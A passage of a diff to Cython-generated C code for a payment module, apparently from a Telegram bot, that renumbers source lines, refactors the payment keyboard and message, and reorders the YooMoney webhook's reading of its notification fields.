(PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_n_u__6) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_WebAppInfo); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_13); - __pyx_t_14 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 130, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 130, __pyx_L1_error) - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 130, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 132, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_13, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_web_app, __pyx_t_15) < 0) __PYX_ERR(0, 130, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_web_app, __pyx_t_15) < 0) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 130, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = PyList_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 130, __pyx_L1_error) + __pyx_t_9 = PyList_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_15); - if (__Pyx_PyList_SET_ITEM(__pyx_t_9, 0, __pyx_t_15)) __PYX_ERR(0, 130, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_9, 0, __pyx_t_15)) __PYX_ERR(0, 132, __pyx_L1_error); __pyx_t_15 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_kp_u__4) < 0) __PYX_ERR(0, 131, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 131, __pyx_L1_error) - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 131, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_BACK); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 133, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error) + __pyx_t_10 = PyList_New(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 133, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_GIVEREF(__pyx_t_14); - if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_14)) __PYX_ERR(0, 131, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_10, 0, __pyx_t_14)) __PYX_ERR(0, 133, __pyx_L1_error); __pyx_t_14 = 0; - __pyx_t_14 = PyList_New(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 129, __pyx_L1_error) + __pyx_t_14 = PyList_New(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_9); - if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_9)) __PYX_ERR(0, 129, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_9)) __PYX_ERR(0, 131, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_10); - if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 1, __pyx_t_10)) __PYX_ERR(0, 129, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 1, __pyx_t_10)) __PYX_ERR(0, 131, __pyx_L1_error); __pyx_t_9 = 0; __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_14) < 0) __PYX_ERR(0, 129, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_inline_keyboard, __pyx_t_14) < 0) __PYX_ERR(0, 131, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 128, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 130, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5197,56 +5211,44 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_14; __pyx_t_14 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 135, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 136, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 138, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 135, __pyx_L1_error) + __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 137, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1)) __PYX_ERR(0, 135, __pyx_L1_error); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_10 = PyTuple_New(3); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_DEFAULT_PAYMENT_MESSAGE); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_3 = 0; - __pyx_t_12 = 127; - __Pyx_INCREF(__pyx_kp_u__9); - __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; - __pyx_t_3 += 25; - __Pyx_GIVEREF(__pyx_kp_u__9); - PyTuple_SET_ITEM(__pyx_t_10, 0, __pyx_kp_u__9); - __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 137, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_9); - __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_12; - __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_9); - __Pyx_GIVEREF(__pyx_t_9); - PyTuple_SET_ITEM(__pyx_t_10, 1, __pyx_t_9); - __pyx_t_9 = 0; - __Pyx_INCREF(__pyx_kp_u__10); - __pyx_t_12 = (65535 > __pyx_t_12) ? 65535 : __pyx_t_12; - __pyx_t_3 += 8; - __Pyx_GIVEREF(__pyx_kp_u__10); - PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__10); - __pyx_t_9 = __Pyx_PyUnicode_Join(__pyx_t_10, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_10, __pyx_n_s_format); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 139, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_15) < 0) __PYX_ERR(0, 139, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 137, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 139, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 135, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_9); + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 137, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_9); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_15); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_r); @@ -5256,12 +5258,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_5generator1(__pyx_C __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 135, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 137, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 135, __pyx_L1_error) + else __PYX_ERR(0, 137, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -5346,12 +5348,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 143, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 145, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yoomoney_webhook") < 0)) __PYX_ERR(0, 143, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yoomoney_webhook") < 0)) __PYX_ERR(0, 145, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -5362,7 +5364,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("yoomoney_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 143, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("yoomoney_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 145, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -5401,7 +5403,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(C if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 143, __pyx_L1_error) + __PYX_ERR(0, 145, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -5409,7 +5411,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yoomoney_pay_6yoomoney_webhook(C __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2, __pyx_codeobj__11, (PyObject *) __pyx_cur_scope, __pyx_n_s_yoomoney_webhook, __pyx_n_s_yoomoney_webhook, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 143, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2, __pyx_codeobj__7, (PyObject *) __pyx_cur_scope, __pyx_n_s_yoomoney_webhook, __pyx_n_s_yoomoney_webhook, __pyx_n_s_handlers_payments_yoomoney_pay); if (unlikely(!gen)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -5470,9 +5472,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 143, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 145, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 144, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_post); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -5492,7 +5494,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 144, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -5507,25 +5509,25 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 144, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 146, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 144, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 145, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_Webhook_event_received, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -5547,13 +5549,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 145, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 147, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; __pyx_t_4 = 0; @@ -5573,7 +5575,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_label}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 147, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -5581,40 +5583,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 148, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = NULL; - __pyx_t_4 = 0; - #if CYTHON_UNPACK_METHODS - if (likely(PyMethod_Check(__pyx_t_3))) { - __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); - if (likely(__pyx_t_5)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); - __Pyx_INCREF(__pyx_t_5); - __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_3, function); - __pyx_t_4 = 1; - } - } - #endif - { - PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_withdraw_amount}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 148, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - } - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; - __pyx_t_1 = 0; - - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_SECRET_KEY); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_GIVEREF(__pyx_t_1); - __pyx_cur_scope->__pyx_v_notification_secret = __pyx_t_1; - __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 150, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; @@ -5632,7 +5600,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_sha1_hash}; + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_withdraw_amount}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 150, __pyx_L1_error) @@ -5640,14 +5608,48 @@ static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_8generator2(__pyx_C __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; + __pyx_t_1 = 0; + + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_YOOMONEY_SECRET_KEY); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_notification_secret = __pyx_t_1; + __pyx_t_1 = 0; + + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_sha1_hash}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_sha1_hash = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_1 = PyTuple_New(17); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 152, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(17); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) 